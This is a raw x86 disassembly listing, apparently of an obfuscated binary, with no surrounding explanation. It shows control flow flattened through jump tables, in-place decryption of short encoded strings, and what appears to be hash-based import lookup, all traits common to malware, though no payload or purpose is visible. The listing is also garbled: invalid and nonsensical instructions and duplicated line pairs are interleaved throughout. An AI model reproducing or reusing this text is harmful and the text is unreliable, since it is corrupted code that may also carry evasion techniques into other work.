imul edi, ebx
mov ebx, edx
and ebx, 2
or edx, 2
imul edx, ebx
add edx, edi
add ecx, eax
add ecx, 0x2fcc3ca6
sub ecx, edx
mov edx, ecx
add edx, 0x1102d0c1
mov edi, edx
shl edi, 1
and edi, 2
shl edx, 1
and edx, 2
add ecx, 0xc2
sub ecx, edx
add ecx, edi
mov byte [esp + eax + 0x10c], cl
add eax, 1
jmp 0x419c26
lea eax, [esp + 0x10c]
mov ecx, dword [esp + 0x48]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004046a0
mov ebx, eax
mov al, byte [esp + 0x164]
mov byte [esp + 0x1dc], al
mov byte [esp + 0x2a4], 0x82
mov byte [esp + 0x2a5], 0x95
mov byte [esp + 0x2a6], 0x16
mov eax, 3
mov byte [esp + eax + 0x2a4], 0
add eax, 1
cmp eax, 7
jne 0x419cd5
xor eax, eax
cmp eax, 7
jae 0x419d1d
movzx edx, byte [esp + eax + 0x2a4]
mov ecx, eax
add ecx, 0xc6
mov edi, edx
xor edi, 0xffffffff
and ecx, edi
mov edi, 0x39
sub edi, eax
and edi, edx
or ecx, edi
add cl, 0x22
mov byte [esp + eax + 0x2a4], cl
add eax, 1
jmp 0x419ce7
lea eax, [esp + 0x2a4]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call fcn.004047d0
fnstcw word [esp + 0x116]
movzx eax, word [esp + 0x116]
or eax, 0xc00
mov word [esp + 0x252], ax
fldcw word [esp + 0x252]
fistp dword [esp + 0x314]
fldcw word [esp + 0x116]
mov esi, dword [esp + 0x314]
mov al, byte [esp + 0x158]
mov byte [esp + 0x1e0], al
mov byte [esp + 0x15c], 0x45
mov byte [esp + 0x15d], 0xf9
mov eax, 2
mov byte [esp + eax + 0x15c], 0
add eax, 1
cmp eax, 6
jne 0x419d8f
mov eax, dword [esp + 0x7e8]
mov ecx, dword [esp + 0x7ec]
mov eax, dword [ecx + eax*4]
jmp eax
movzx eax, dl
and eax, 1
mov dword [esp + 0x778], eax
mov eax, dword [esp + 0x77c]
mov ecx, dword [esp + 0x778]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x4c], esi
jmp eax
mov eax, dword [esp + 0x5a8]
mov ecx, dword [esp + 0x5ac]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x790]
mov ecx, dword [esp + 0x794]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esp + 0x34]
mov edi, dword [esp + 0x3c]
jmp eax
call fcn.0040d520
mov ecx, eax
mov edx, 0x38e38e39
mov eax, ecx
imul edx
mov eax, edx
shr eax, 0x1f
sar edx, 3
add edx, eax
shl edx, 2
lea eax, [edx + edx*8]
neg eax
movsx eax, byte [ecx + eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov ecx, esi
add ecx, 2
mov word [esi], ax
inc edi
mov eax, dword [esp + 0x6f0]
mov edx, dword [esp + 0x6f4]
mov eax, dword [edx + eax*4]
mov esi, ecx
jmp eax
mov edi, dword [esp + 0x40]
mov eax, dword [esp + 0x568]
mov ecx, dword [esp + 0x56c]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x5c0], eax
mov eax, dword [esp + 0x5c4]
mov ecx, dword [esp + 0x5c0]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x38], 0
jmp eax
call fcn.0041d270
mov dword [esp + 0x680], 0
mov eax, dword [esp + 0x684]
mov ecx, dword [esp + 0x680]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d270
mov dword [esp + 8], ebx
lea edi, [esp + 0x9d4]
mov dword [esp], edi
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0x400
call case.0x40e7f4.14
lea eax, [esp + 0x118]
mov dword [esp + 8], eax
lea eax, [esp + 0x40]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.0040f850
mov dword [esp + 0x7a0], 1
mov ecx, dword [esp + 0x7a4]
mov edx, dword [esp + 0x7a0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [esp + 0xc2]
mov bl, al
and ebx, 1
mov dword [esp + 0x5e0], ebx
mov eax, dword [esp + 0x5e4]
mov ecx, dword [esp + 0x5e0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x6d0], 1
mov eax, dword [esp + 0x6d4]
mov ecx, dword [esp + 0x6d0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x5d0]
mov ecx, dword [esp + 0x5d4]
mov eax, dword [ecx + eax*4]
mov dword [esp + 0x2c], 0
xor esi, esi
mov ebx, dword [esp + 0x34]
jmp eax
mov dword [esp + 0x308], ebx
call fcn.0041d270
mov dword [esp + 0x620], 1
mov eax, dword [esp + 0x624]
mov ecx, dword [esp + 0x620]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x154]
mov byte [esp + 0x1e4], al
mov byte [esp + 0x2c4], 0x3c
mov byte [esp + 0x2c5], 0x8b
mov eax, 2
mov byte [esp + eax + 0x2c4], 0
add eax, 1
cmp eax, 5
jne 0x41a082
mov byte [esp + 0x33], dl
xor eax, eax
cmp eax, 5
jae 0x41a11c
movzx ecx, byte [esp + eax + 0x2c4]
mov edi, eax
and edi, 0x2e738421
mov edx, eax
and edx, 2
xor edx, 2
mov ebx, eax
and ebx, 0x2e738421
imul ebx, edx
mov edx, eax
and edx, 2
or edi, 2
imul edi, edx
add edi, ebx
mov ebx, eax
shl ebx, 1
and ebx, 0x5ce70846
add ebx, 0xd18c7bdd
mov edx, eax
sub edx, ebx
add edx, edi
xor edx, ecx
mov ecx, edx
shl ecx, 1
and ecx, 0xa0
mov edi, edx
xor edi, 0x50
add edi, ecx
mov ecx, edx
shl ecx, 1
and ecx, 2
and edx, 1
and edi, 0xfe
or edx, edi
xor edx, 1
add edx, ecx
mov byte [esp + eax + 0x2c4], dl
add eax, 1
jmp 0x41a098
call fcn.0041d270
call fcn.0041d270
lea eax, [esp + 0x2c4]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call fcn.004046a0
mov ebx, eax
xor eax, eax
test ebx, ebx
setne al
mov dword [esp + 0x770], eax
mov eax, dword [esp + 0x774]
mov ecx, dword [esp + 0x770]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x838]
mov ecx, dword [esp + 0x83c]
mov ecx, dword [ecx + eax*4]
mov al, 1
jmp ecx
mov eax, dword [esp + 0x870]
mov ecx, dword [esp + 0x874]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
call fcn.0041d270
mov dword [esp + 0x698], 0
mov eax, dword [esp + 0x69c]
mov ecx, dword [esp + 0x698]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x2c], esi
jmp eax
lea eax, [esp + 0x15c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call fcn.004047d0
fnstcw word [esp + 0x114]
movzx eax, word [esp + 0x114]
or eax, 0xc00
mov word [esp + 0x250], ax
fldcw word [esp + 0x250]
fistp dword [esp + 0x310]
fldcw word [esp + 0x114]
mov eax, dword [esp + 0x310]
mov dword [esp + 0x2bc], eax
mov eax, dword [esp + 0x7c8]
mov ecx, dword [esp + 0x7cc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x758], 1
mov eax, dword [esp + 0x75c]
mov ecx, dword [esp + 0x758]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0x2b8]
mov ebx, dword [esp + 0x11c]
jmp eax
call fcn.0041d270
mov dword [esp + 0x598], 1
mov eax, dword [esp + 0x59c]
mov ecx, dword [esp + 0x598]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x6c0], eax
mov eax, dword [esp + 0x6c4]
mov ecx, dword [esp + 0x6c0]
mov eax, dword [eax + ecx*4]
mov esi, dword [esp + 0x2c]
jmp eax
mov eax, dword [esp + 0x7b0]
mov ecx, dword [esp + 0x7b4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, edi
add eax, 2
mov word [edi], 0x2c
mov ecx, dword [esp + 0x308]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x120]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 0xc], 0
call case.0x40e7f4.14
lea edi, [edi + eax*2 + 2]
mov eax, dword [esp + 0x5e8]
mov ecx, dword [esp + 0x5ec]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
xor eax, eax
mov ecx, esi
sub ecx, 1
sete cl
mov dword [esp + 0x640], 0
mov edx, dword [esp + 0x644]
mov edi, dword [esp + 0x640]
mov edx, dword [edx + edi*4]
jmp edx
call fcn.0041d270
mov dword [esp + 0x7a8], 1
mov eax, dword [esp + 0x7ac]
mov ecx, dword [esp + 0x7a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov byte [esp + 0x33], dl
call fcn.0041d270
mov dword [esp + 0x580], 0
mov eax, dword [esp + 0x584]
mov ecx, dword [esp + 0x580]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x708], 1
mov eax, dword [esp + 0x70c]
mov ecx, dword [esp + 0x708]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x588], eax
mov eax, dword [esp + 0x58c]
mov ecx, dword [esp + 0x588]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0x3c]
mov dl, byte [esp + 0x33]
mov esi, dword [esp + 0x4c]
jmp eax
mov dword [esp + 0x4c], esi
mov eax, dword [esp + 0x5a0]
mov ecx, dword [esp + 0x5a4]
mov eax, dword [ecx + eax*4]
xor edi, edi
jmp eax
xor eax, eax
mov ecx, edi
sub ecx, ebx
setb al
mov dword [esp + 0x710], eax
mov eax, dword [esp + 0x714]
mov ecx, dword [esp + 0x710]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x688], eax
mov eax, dword [esp + 0x68c]
mov ecx, dword [esp + 0x688]
mov eax, dword [eax + ecx*4]
mov esi, dword [esp + 0x4c]
jmp eax
mov eax, dword [esp + 0x6a0]
mov ecx, dword [esp + 0x6a4]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x570], eax
mov eax, dword [esp + 0x574]
mov ecx, dword [esp + 0x570]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x38], 0
mov dword [esp + 0x2c], 0
mov dl, byte [esp + 0x33]
jmp eax
mov eax, dword [esp + 0x720]
mov ecx, dword [esp + 0x724]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x648], 1
mov eax, dword [esp + 0x64c]
mov ecx, dword [esp + 0x648]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x34]
jmp eax
call fcn.0041d270
mov dword [esp + 0x6b0], 0
mov eax, dword [esp + 0x6b4]
mov ecx, dword [esp + 0x6b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp], esi
call fcn.0040cd50
mov eax, dword [esp + 0x5f8]
mov ecx, dword [esp + 0x5fc]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x638], eax
mov eax, dword [esp + 0x63c]
mov ecx, dword [esp + 0x638]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x6a8], 1
mov eax, dword [esp + 0x6ac]
mov ecx, dword [esp + 0x6a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov byte [eax], 0
add byte [ebp - 0x38db7b3a], ch
add byte [eax], al
add bl, al
mov byte [esp + 0xc8], 0x53
mov byte [esp + 0xc9], 0xc5
mov byte [esp + 0xca], 0xa3
mov byte [esp + 0xcb], 0xc7
mov byte [esp + 0xcc], 0x5a
mov byte [esp + 0xcd], 0xc9
mov byte [esp + 0xce], 0x59
mov byte [esp + 0xcf], 0xcb
mov byte [esp + 0xd0], 0xa4
mov byte [esp + 0xd1], 0xcd
mov byte [esp + 0xd2], 0xab
mov byte [esp + 0xd3], 0xcf
mov byte [esp + 0xd4], 0x9c
mov byte [esp + 0xd5], 0xf1
mov byte [esp + 0xd6], 0x9e
mov byte [esp + 0xd7], 0xf3
mov byte [esp + 0xd8], 0xd4
mov byte [esp + 0xd9], 0xf5
mov byte [esp + 0xda], 0xdb
mov byte [esp + 0xdb], 0xf7
mov byte [esp + 0xdc], 0x9d
mov byte [esp + 0xdd], 0xf9
mov byte [esp + 0xde], 0x62
mov byte [esp + 0xdf], 0xfb
mov byte [esp + 0xe0], 0x99
mov byte [esp + 0xe1], 0xfd
mov byte [esp + 0xe2], 0x9d
mov byte [esp + 0xe3], 0xff
mov byte [esp + 0xe4], 0xc0
mov byte [esp + 0xe5], 0xe1
mov byte [esp + 0xe6], 0x80
mov byte [esp + 0xe7], 0xe3
mov byte [esp + 0xe8], 0x7d
mov byte [esp + 0xe9], 0xe5
mov byte [esp + 0xea], 0x76
mov byte [esp + 0xeb], 0xe7
mov byte [esp + 0xec], 0x89
mov byte [esp + 0xed], 0xe9
mov byte [esp + 0xee], 0x79
test byte [esi + ebp*8], ah
add byte [eax], al
add byte [ecx - 0x3a], bh
test byte [edi + ebp*8], ah
add byte [eax], al
add bl, ch
test byte [esi + ebp*8], ah
add byte [eax], al
add byte [ecx - 0x3a], bh
test byte [edi + ebp*8], ah
add byte [eax], al
add bl, ch
mov byte [esp + 0xf0], 0x7f
mov byte [esp + 0xf1], 0xed
mov byte [esp + 0xf2], 0xce
mov byte [esp + 0xf3], 0xef
out dx, eax
out dx, eax
mov byte [esp + 0xf4], 0x10
mov byte [esp + 0xf5], 0x11
mov ecx, 0x32
mov byte [esp + ecx + 0xc4], 0
add ecx, 1
cmp ecx, 0x37
jne 0x41aec3
xor ecx, ecx
cmp ecx, 0x37
stc
aaa
jae 0x41af03
mov bl, byte [esp + ecx + 0xc4]
mov edi, ecx
shl edi, 1
and edi, 0xa0
mov edx, ecx
xor edx, 0x50
add edx, edi
xor dl, bl
add dl, 0x70
mov byte [esp + ecx + 0xc4], dl
add ecx, 1
jmp 0x41aed5
lea ecx, [esp + 0xc4]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.0040f810
mov ecx, dword [esp + 0x128]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.0040f810
mov eax, dword [esp + 0x338]
mov ecx, dword [esp + 0x33c]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esp + 0x34]
xor al, 0xff
invalid
xor al, 0xff
loopne 0x41af29
invalid
call fcn.0041d270
sub esp, dword [ebx]
add byte [eax], al
mov dword [esp + 0x840], 1
mov eax, dword [esp + 0x844]
mov ecx, dword [esp + 0x840]
mov eax, dword [eax + ecx*4]
jmp eax
mov cl, al
and ecx, 1
mov dword [esp + 0x820], ecx
mov eax, dword [esp + 0x824]
mov ecx, dword [esp + 0x820]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0x3c]
jmp eax
call fcn.0041d270
add byte [eax], al
xor eax, eax
mov ecx, esi
sub ecx, 2
sete cl
mov dword [esp + 0x6c8], 0
mov edx, dword [esp + 0x6cc]
mov edi, dword [esp + 0x6c8]
mov edx, dword [edx + edi*4]
adc al, 0xba
adc al, 0xba
jmp edx
call fcn.0041d270
mov eax, dword [esp + 0x40]
mov dword [esp], eax
add byte [ebx - 0x76bfdbbc], cl
add al, 0x24
call fcn.0043e380
mov dword [esp + 0x40], 0
xor eax, eax
test ebx, ebx
setns cl
mov dword [esp + 0x660], 0
mov edx, dword [esp + 0x664]
mov edi, dword [esp + 0x660]
push es
add byte [eax], al
push es
add byte [eax], al
mov edx, dword [edx + edi*4]
jmp edx
mov byte [eax + eax], al
add byte [ebx + 0x48c248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x11c]
mov dword [esp], eax
call fcn.0040cd50
mov eax, dword [esp + 0x740]
mov ecx, dword [esp + 0x744]
mov eax, dword [ecx + eax*4]
jmp eax
cmp eax, 7
jae 0x41b0fd
invalid
xor eax, 0x494b60f
jl 0x41b0cf
movzx edx, byte [esp + eax + 0x17c]
add byte [eax], al
add byte [ecx - 0x4e087e39], cl
out dx, al
aam 0xb0
mov edi, eax
xor edi, 0xb0d4eeb1
mov ecx, eax
shl ecx, 1
and ecx, 0x9e56229c
sub ecx, edi
mov edi, ecx
and edi, edx
shl edi, 1
add ecx, edx
sub ecx, edi
add cl, 0x75
mov byte [esp + eax + 0x17c], cl
add al, 0x7c
add dword [eax], eax
add byte [ebx - 0x3914fe40], al
add al, 0x7c
add dword [eax], eax
add byte [ebx - 0x3914fe40], al
mov edx, dword [esp + 0x17c]
xor edi, edi
mov eax, 2
cmp edi, dword [0x450710]
jb 0x41b115
jmp 0x41b18c
mov ecx, dword [0x450714]
cmp dword [ecx + edi*8], 0xb62b8d10
sete bl
xor eax, eax
test bl, 1
jne 0x41b12e
jmp 0x41b175
mov eax, dword [ecx + edi*8 + 4]
cmp eax, edx
jne 0x41b13d
mov eax, 2
jmp 0x41b175
mov ecx, dword [0x450718]
mov dword [esp], eax
mov dword [esp + 4], ecx
pop es
inc ebp
add byte [ecx + 0x4c892404], cl
and al, 4
mov dword [esp + 8], 1
mov eax, dword [esp + 0x2fc]
mov dword [esp + 0xc], eax
mov dword [esp + 0x2e4], edx
call fcn.00441310
mov edx, dword [esp + 0x2e4]
mov eax, 1
test bl, 1
je 0x41b180
mov ebx, dword [esp + 0x34]
jmp 0x41b18c
add edi, 1
mov ebx, dword [esp + 0x34]
jmp 0x41b106
cmp eax, 2
jne 0x41b191
mov eax, dword [esp + 0x328]
mov ecx, dword [esp + 0x32c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x7b8], 1
mov eax, dword [esp + 0x7bc]
mov ecx, dword [esp + 0x7b8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x808]
mov ecx, dword [esp + 0x80c]
mov eax, dword [ecx + eax*4]
jmp eax
mov cl, al
and ecx, 1
mov dword [esp + 0x850], ecx
mov eax, dword [esp + 0x854]
mov ecx, dword [esp + 0x850]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [esp + 0x4a0]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x34]
jmp eax
add al, 0x88
jmp eax
mov dword [esp], eax
mov dword [esp + 4], 0x38c42730
call fcn.00443ee0
lea ecx, [esp + 0x88c]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], ebx
mov ecx, dword [esp + 0x38]
mov dword [esp + 4], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
add byte [eax], al
add bh, al
inc esp
and al, 0x14
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add bh, al
inc esp
and al, 0x14
add byte [eax], al
add byte [eax], cl
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], 0
call eax
sub esp, 0x28
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x460], ecx
mov eax, dword [esp + 0x464]
mov ecx, dword [esp + 0x460]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x658], eax
mov eax, dword [esp + 0x65c]
mov ecx, dword [esp + 0x658]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d270
lea eax, [esp + 0x100]
mov dword [esp + 0x14], eax
mov dword [esp + 8], edi
mov dword [esp + 4], ebx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp], 0
call dword [esp + 0x2b4]
sub esp, 0x18
mov ecx, dword [esp + 0x100]
add ecx, ecx
mov eax, 0xffffffff
jb 0x41b433
mov eax, ecx
mov dword [esp], eax
call fcn.0040cd40
mov esi, eax
mov eax, dword [0x45070c]
mov ecx, dword [esp + 0x100]
lea edx, [esp + 0x100]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], esi
mov edi, dword [esp + 0x2b8]
mov dword [esp + 8], edi
mov ebx, dword [esp + 0x11c]
mov dword [esp + 4], ebx
mov dword [esp], 0
call eax
sub esp, 0x18
mov dword [esp + 0x750], 0
mov eax, dword [esp + 0x754]
mov ecx, dword [esp + 0x750]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x800]
mov ecx, dword [esp + 0x804]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x7d0]
mov ecx, dword [esp + 0x7d4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x5b8], 1
mov eax, dword [esp + 0x5bc]
mov ecx, dword [esp + 0x5b8]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0x2c]
jmp eax
mov al, byte [esp + 0x16c]
mov byte [esp + 0x1d4], al
mov byte [esp + 0x2cc], 0xad
mov byte [esp + 0x2cd], 0x31
mov eax, 2
mov byte [esp + eax + 0x2cc], 0
add eax, 1
cmp eax, 5
jne 0x41b50c
xor eax, eax
cmp eax, 5
jae 0x41b57b
movzx edi, byte [esp + eax + 0x2cc]
mov edx, eax
add edx, 0x8c
mov ecx, edi
shl ecx, 1
xor ecx, 0xffffffff
add ecx, edi
and ecx, 0x6b
and edi, 0x94
mov ebx, 0x73
sub ebx, eax
and ebx, 0x6b
and edx, 0x94
or ecx, edi
mov edi, 0x73
sub edi, eax
and ebx, edi
mov edi, dword [esp + 0x3c]
or edx, ebx
mov ebx, dword [esp + 0x34]
xor ecx, edx
add cl, 0x44
mov byte [esp + eax + 0x2cc], cl
add eax, 1
jmp 0x41b51e
lea eax, [esp + 0x2cc]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x48]
mov dword [esp], eax
mov dword [esp + 8], 3
call fcn.00404d30
xor ecx, ecx
test eax, eax
sete cl
mov dword [esp + 0x810], ecx
mov eax, dword [esp + 0x814]
mov ecx, dword [esp + 0x810]
mov eax, dword [eax + ecx*4]
jmp eax
movzx eax, al
and eax, 1
mov dword [esp + 0x798], eax
mov eax, dword [esp + 0x79c]
mov ecx, dword [esp + 0x798]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x7c0], 1
mov eax, dword [esp + 0x7c4]
mov ecx, dword [esp + 0x7c0]
mov eax, dword [eax + ecx*4]
jmp eax
add byte [eax], al
adc eax, 0xb02484c6
add byte [eax], al
add ah, ah
mov byte [esp + 0xb1], 0x17
mov byte [esp + 0xb2], 0x31
mov byte [esp + 0xb3], 9
mov byte [esp + 0xb4], 0xe4
mov byte [esp + 0xb5], 0xb
mov byte [esp + 0xb6], 0xa
mov byte [esp + 0xb7], 0xd
mov eax, 0x10
add byte [eax], al
invalid
add byte [eax], al
add dh, al
test byte [eax + ebp*4], al
add byte [eax], al
add byte [eax], al
mov byte [esp + eax + 0xa8], 0
add eax, 1
cmp eax, 0x14
jne 0x41b69e
xor eax, eax
cmp eax, 0x14
jae 0x41b727
movzx ecx, byte [esp + eax + 0xa8]
mov edx, 0x37a3a43a
sub edx, eax
mov edi, eax
add edi, 0x85c5bc5
lds ebx, [ebx + 0x5c]
or byte [ecx - 0x4d352c19], al
sub eax, 0x352ce281
dec ebp
ror byte [ecx], cl
xlatb
lds ebx, [ebx + 0x5c]
or byte [ecx - 0x4d352c19], al
sub eax, 0x352ce281
dec ebp
ror byte [ecx], cl
xlatb
mov ebx, ecx
xor ebx, 0xffffffff
mov edx, edi
xor edx, 0xd3
or edx, ebx
mov ebx, ecx
xor ebx, 0xffffffff
xor edi, 0xd3
or edi, ebx
and edx, edi
mov edi, eax
mov dword [ecx + 0x5c5bc5c7], 0x81c389c8
ret
lds ebx, [ebx + 0x5c]
enter 0xffffffffffffdf21, 9
iretd
and edx, edi
mov ecx, edx
xor ecx, 0xffffffff
shl ecx, 1
add ecx, edx
mov dl, 0x25
sub dl, cl
mov byte [esp + eax + 0xa8], dl
add eax, 1
mov dword [ecx + 0x5c5bc5c7], 0x81c389c8
ret
jmp 0x41b6b0
lea eax, [esp + 0xa8]
mov dword [esp + 4], eax
lea edi, [esp + 0x930]
mov dword [esp], edi
call fcn.0040f810
lea ecx, [esp + 0x8ac]
mov dword [esp + 4], ecx
add al, 0x89
add al, 0x24
add al, 0x89
add al, 0x24
call fcn.0040f810
mov ebx, eax
mov eax, edi
not eax
mov ecx, ebx
xor ecx, edi
and ebx, eax
add ebx, ebx
sub ebx, ecx
sar ebx, 1
mov eax, dword [0x45070c]
lea ecx, [esp + 0xa0]
mov dword [esp + 0x14], ecx
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
mov dword [esp + 0x10], 0
add bh, al
inc esp
and al, 0xc
add byte [eax], al
add byte [eax], al
add bh, al
inc esp
and al, 0xc
add byte [eax], al
add byte [eax], al
mov dword [esp], 0
call eax
sub esp, 0x18
mov eax, dword [esp + 0xa0]
mov ecx, eax
and ecx, 4
xor eax, 4
lea ecx, [eax + ecx*2]
add ecx, ecx
mov eax, 0xffffffff
jb 0x41b7b7
mov eax, ecx
mov dword [esp], eax
call fcn.0040cd40
mov ecx, dword [0x45070c]
mov edx, dword [esp + 0xa0]
lea edi, [esp + 0xa0]
add byte [ecx - 0x76ebdb84], cl
push esp
and al, 0x10
add byte [ecx - 0x76ebdb84], cl
push esp
and al, 0x10
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
lea eax, [esp + 0x930]
mov dword [esp + 4], eax
mov dword [esp], 0
call ecx
sub esp, 0x18
mov eax, dword [esp + 0x3a0]
mov ecx, dword [esp + 0x3a4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x860], 0
mov eax, dword [esp + 0x864]
mov ecx, dword [esp + 0x860]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp], ebx
mov dword [esp + 4], edi
call fcn.00404e60
mov dword [esp + 0x48], eax
and al, 0x48
and al, 0x48
mov al, byte [esp + 0x174]
mov byte [esp + 0x1cc], al
mov byte [esp + 0x110], 0xad
mov byte [esp + 0x111], 0x19
mov eax, 2
mov byte [esp + eax + 0x110], 0
add eax, 1
cmp eax, 4
clc
add al, 0x75
invalid
clc
add al, 0x75
invalid
mov dword [esp + 0x3c], edi
mov dword [esp + 0x34], ebx
xor eax, eax
cmp eax, 4
jae 0x41b901
movzx ecx, byte [esp + eax + 0x110]
mov edx, eax
add edx, 0x198f8bb
mov edi, edx
xor edi, 0xa553d4c1
shl edx, 1
and edx, 0xb558567c
sub edx, edi
cli
cli
mov edi, ecx
xor edi, 0x98cefe6b
mov ebx, edx
xor ebx, 0x98cefe6b
xor ecx, 0x67310194
mov esi, edx
xor esi, 0x67310194
xor edx, 0x67310194
and esi, edx
or ecx, esi
or edi, ebx
and ecx, edi
mov edx, ecx
shl edx, 1
and edx, 0x3a
xor ecx, 0x32a64c1d
mov esi, ecx
add esi, edx
and ecx, 1
or esi, 1
add ecx, esi
mov byte [esp + eax + 0x110], cl
mov ecx, eax
shl ecx, 1
and ecx, 2
xor eax, 1
add eax, ecx
jmp 0x41b87d
lea eax, [esp + 0x110]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x48]
mov dword [esp], eax
mov dword [esp + 8], 2
call fcn.00404d30
dec dword [ebx + 0x830248c]
add byte [eax], al
dec dword [ebx + 0x830248c]
add byte [eax], al
mov edx, dword [esp + 0x834]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0041d270
cmp dword [esp + 0x2bc], 0
sete dl
mov dword [esp + 0x780], 0
mov eax, dword [esp + 0x784]
mov ecx, dword [esp + 0x780]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0041d270
mov dword [esp + 0x788], 0
mov eax, dword [esp + 0x78c]
mov ecx, dword [esp + 0x788]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x34]
mov edi, dword [esp + 0x3c]
jmp eax
mov dword [esp], edi
call fcn.0041d250
add eax, 0x1d
sub eax, 0xc0e4da06
add eax, 1
add eax, 0xc0e4da06
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x41b9dc
mov ecx, eax
mov dword [esp], ecx
call fcn.0040cd40
mov cl, byte [esp + 0x94]
mov byte [esp + 0x210], cl
mov byte [esp + 0x98], 0x46
mov byte [esp + 0x99], 0x27
mov byte [esp + 0x9a], 0x26
mov byte [esp + 0x9b], 0x21
mov ecx, 4
add byte [eax], al
invalid
add byte [eax], al
add dh, al
test byte [eax + ebx*4], cl
add byte [eax], al
add byte [eax], al
mov byte [esp + ecx + 0x98], 0
add ecx, 1
cmp ecx, 5
jne 0x41ba17
mov dword [esp + 0x38], eax
xor eax, eax
cmp eax, 5
jae 0x41ba72
movzx ecx, byte [esp + eax + 0x98]
mov esi, ecx
xor esi, 0xffffffff
call ecx
out 1, al
into
call ecx
out 1, al
into
mov edx, 0xfe
sub edx, esi
mov esi, 0x76
sub esi, eax
or edx, esi
xor ecx, 0xffffffff
mov esi, eax
add esi, 0x89
or esi, ecx
and edx, esi
mov cl, 0x52
sub cl, dl
mov byte [esp + eax + 0x98], cl
add eax, 1
jmp 0x41ba2d
mov al, byte [esp + 0x90]
mov byte [esp + 0x218], al
mov byte [esp + 0x50], 0xb4
mov byte [esp + 0x51], 0xdb
mov byte [esp + 0x52], 0xab
mov byte [esp + 0x53], 0xd9
mov byte [esp + 0x54], 0x51
mov byte [esp + 0x55], 0xdf
mov byte [esp + 0x56], 0xa5
mov byte [esp + 0x57], 0xdd
mov byte [esp + 0x58], 0xaa
